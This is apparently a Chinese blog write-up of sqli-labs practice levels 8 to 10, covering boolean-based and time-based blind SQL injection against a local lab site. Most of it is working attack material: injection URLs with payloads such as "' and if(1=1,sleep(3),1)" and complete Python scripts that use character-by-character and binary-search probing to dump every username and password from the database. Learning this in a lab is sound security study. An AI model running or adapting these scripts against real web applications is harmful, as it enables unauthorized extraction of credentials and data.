sqli-labs less8-10

LESS 8 基于布尔的盲注

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为好几种,本关采用基于布尔的盲注

盲注相关函数:

  • mid(column_name,start[,length])

  •  select mid(12345,2,3);
    +----------------+
    | mid(12345,2,3) |
    +----------------+
    | 234            |
    +----------------+
    
  • substr(string, start, length)/substring(string, start, length)

    • 这两个函数的作用和mid函数是相同的
    • select substr((select username from users limit 0,1),2);
      +--------------------------------------------------+
      | substr((select username from users limit 0,1),2) |
      +--------------------------------------------------+
      | umb                                              |
      +--------------------------------------------------+
      
  • Left(string, n)
    • 从左到右截取string的前n位
  • ascii(string)
    • 返回第一个字符的ascii码值
  • ord(string)
    • 若string第一个字符是单字节字符,则作用和ascii函数相同
    • 若其为多字节,则返回如下格式:
      ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code…]
  • length(string)
    • 返回字符串的长度

回到本关,先输入单引号和双引号进行测试,发现单引号没有返回信息,于是判断参数是被单引号包围,构造payload测试数据库名的第一个字符:

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1))=1%23

无返回结果,对数据库名的每一个字符都作类似的测试,由于测试量较大,使用脚本来完成测试:

from urllib import request
from urllib import parse
import re

url =  "http://localhost/sqli-labs-master/Less-8/?id="

def  length():
    "查询数据库名的长度"
    length =  0
    while  True:
        #构造动态参数并用quote函数进行url编码
        param =  "1' and length(database())="+str(length)+"#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        #匹配成功代表长度正确
        if (re.search("You are in...........", response)):
            return length
        #失败则加1继续循环
        else:
            length +=  1
    
def  database():
"查询数据库名"
    dbname =  ""
    for n in  range(length()):
    #对128个ascii码值进行遍历并构造动态参数
        for a in  range(128):
            param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))="  +  str(a) +  "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                dbname = dbname +  chr(a)
                break
    return dbname
    
print(database())

 

输出结果为security
对于函数database()可以采用时间复杂度更低的二分法:

def  database():
"查询数据库名"
    dbname =  ""
    for n in  range(length()):
        a, b =  64, 64
        #使用二分法构造动态参数
        while  True:
            b =  int(b/2)
            param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))<"  +  str(a) +  "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                a -= b
            else:
                param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))="  +  str(a) +  "#"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in...........", response)):
                    dbname = dbname +  chr(a)
                    break
                else:
                a += b
    return dbname

 

速度噌的就提上去了,数据结构果然还是要学好
之后我对之前的脚本做了一些修改,使其支持参数化查询,最终的盲注脚本如下:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-8/?id="

def getLength(value):
    "查询数据库名的长度"
    length = 0
    while True:
        #构造动态参数并用quote函数进行url编码
        param = "1' and length(" + value + ")="+str(length)+"#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        #匹配成功代表长度正确
        if (re.search("You are in...........", response)):
            return length
        #失败则加1继续循环
        else:
            length += 1

def getName(value):
    "查询数据库名"
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            param = "1' and ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                a -= b
            else:
                param = "1' and ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in...........", response)):
                    dbname = dbname + chr(a)
                    break
                else:
                    a += b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

 

输出如下,注入成功:

Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 9 基于时间的盲注

和上一关不同,第八关只要没有查询到就不会显示“You are in………..”,而本关只要id是有值的就会显示“You are in………..”,没有办法通过页面显示的结果来进行盲注,所以要用到一个特殊的函数sleep(),语法如下:

sleep(seconds)        #函数功能即执行延迟seconds秒

 

还要用到的一个函数

if(condition, a, b)        #如果condition成立,则返回a,否则返回b

 

举个栗子,在本关中构造这样一个payload:

http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(3),1)%23

在if函数中,因为1=1当然是成立的,所以执行sleep(3),所以你会看到网页内容大概在3s后才显示出来,如果表达式不成立,网页就会立即显示出来,而1=1的位置则可以放各种表达式

于是,把上一关的脚本稍微改一下就成了本关的盲注脚本:

from urllib import request
from urllib import parse
from time import time

url = "http://localhost/sqli-labs-master/Less-9/?id="

def getLength(value):
    "查询value长度"
    length = 0
    while True:
        #构造动态参数并用quote函数进行url编码
        param = "1' and if(length("+value+")="+str(length)+",sleep(0.1),1)#"
        t = time()      #time函数获取当前时间戳
        request.urlopen(url + parse.quote(param))
        if (time() - t > 0.1):        #时间间隔大于0.1代表长度正确
            return length
        else:       #失败则加1继续循环
            length += 1

def getName(value):
    "查询value名"
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            param = "1' and if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#"
            t = time()
            request.urlopen(url + parse.quote(param))
            if (time() - t > 0.1):
                a -= b
            else:
                param = "1' and if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
                t = time()
                request.urlopen(url + parse.quote(param))
                if (time() - t > 0.1):
                    dbname = dbname + chr(a)
                    break
                else:
                    a += b
    return dbname
    
print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

结果和上一关是一样的

LESS 10 基于时间的盲注(双引号)

题如其名,只要把上一关绕过用的单引号改成双引号就可以盲注成功,这一关源程序和上一关应该就只是单引号双引号的区别而已

脚本请参照第九关


https://soporbear.github.io/2018/05/28/sqli-labs-less8-10/

你可能感兴趣的:(Web安全)